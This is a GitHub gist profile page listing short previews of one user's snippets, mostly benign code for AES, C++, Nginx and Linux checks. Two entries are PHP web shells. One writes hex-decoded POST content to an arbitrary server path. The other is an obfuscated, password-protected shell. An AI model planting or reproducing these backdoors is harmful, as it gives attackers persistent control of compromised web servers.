Skip to content

Instantly share code, notes, and snippets.

View suchasplus's full-sized avatar

suchasplus suchasplus

  • xmly.work
  • Beijing
View GitHub Profile
@suchasplus
suchasplus / aes for android.java
Created April 12, 2015 15:43
AES for Android and PHP
import android.util.Base64;
import java.security.Key;
import java.security.MessageDigest;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class MCryptAES {
@suchasplus
suchasplus / cxx_compare_class_type.cpp
Created April 8, 2015 15:44
c++ compare class type with string
#include <iostream>
#include <string>
#include <type_traits>
int main()
{
std::string s;
std::cout << std::is_same<decltype(s), std::string>::value << std::endl;
char s2[] = "";
std::cout << std::is_same<decltype(s2), std::string>::value << std::endl;
@suchasplus
suchasplus / System_Check_For_Linux_Shell.sh
Last active August 29, 2015 14:17
System Check For Linux Shell
#!/bin/bash
noColor="\e[0m"
green="\e[1;32m"
yellow="\e[1;33m"
SystemDescription=$(lsb_release -d|sed -n 's/Description:[ \t]*\([a-zA-Z]*\)/\1/p')
SystemMachine=$(uname -m)
SystemKernel=$(uname -r)
SystemProcessor=$(uname -p)
@suchasplus
suchasplus / Nginx不同域名输出不同伺服器标识
Created February 2, 2015 08:12
Nginx不同域名输出不同伺服器标识 via ngx_headers_more
//ngx_headers_more
location / {
if ( $host = 'bp.biz.weibo.com' ){
more_set_headers 'Server: Nginx';
}
if ( $host = 'tui.weibo.com' ){
more_set_headers 'Server: Nginx_improved';
}
....
@suchasplus
suchasplus / list_predefined_preprocessor_symbols.sh
Created January 7, 2015 13:20
list gcc predefined preprocessor symbols
#/bin/bash
#list predefined preprocessor symbols
gcc -E -dM - < /dev/null
@suchasplus
suchasplus / php_shell_2.php
Last active August 29, 2015 14:11
PHP Shell 2
<?php
define('iphp','demo2'); //default password is : demo, 使用方法 按p 输入密码 或者 你保存的xx.php?password=demo
define('T','H*');
define('A','call');
define('B','user');
define('C','func');
define('D','create');
define('E','function');
define('F','file');
define('F1','get');
@suchasplus
suchasplus / php_shell_1.php
Last active August 29, 2015 14:11
PHP Shell 1
<?php
$f = realpath(dirname(__FILE__) . "/../") . $_POST["z1"]; //定义$f等于根目录的物理路径+$_POST[z1]的内容
$c = $_POST["z2"]; // 定义$c 等于$_POST[z2]的内容
$buf = ""; //定义$buf等于空
for ($i = 0; $i < strlen($c); $i+= 2) $buf.= urldecode("%" . substr($c, $i, 2)); //for循环次数是 $c长度/2 , 每循环一次就把%xx这样的编码给解码
@fwrite(fopen($f, "w") , $buf); //写入文件地址是$f,内容是$buf,也就是解码后的。
echo "allok";
/**
* example:
#include <stdio.h>
#include <unistd.h>
#include <limits.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(void)
{
char c = 'c';
int i;
@suchasplus
suchasplus / 1-100_prime
Created November 11, 2014 12:29
一行代码求解100内质数
#include <algorithm>
#include <iostream>
#include <iterator>
using namespace std;
template <typename T>
class range_type {
public:
class range_iterator {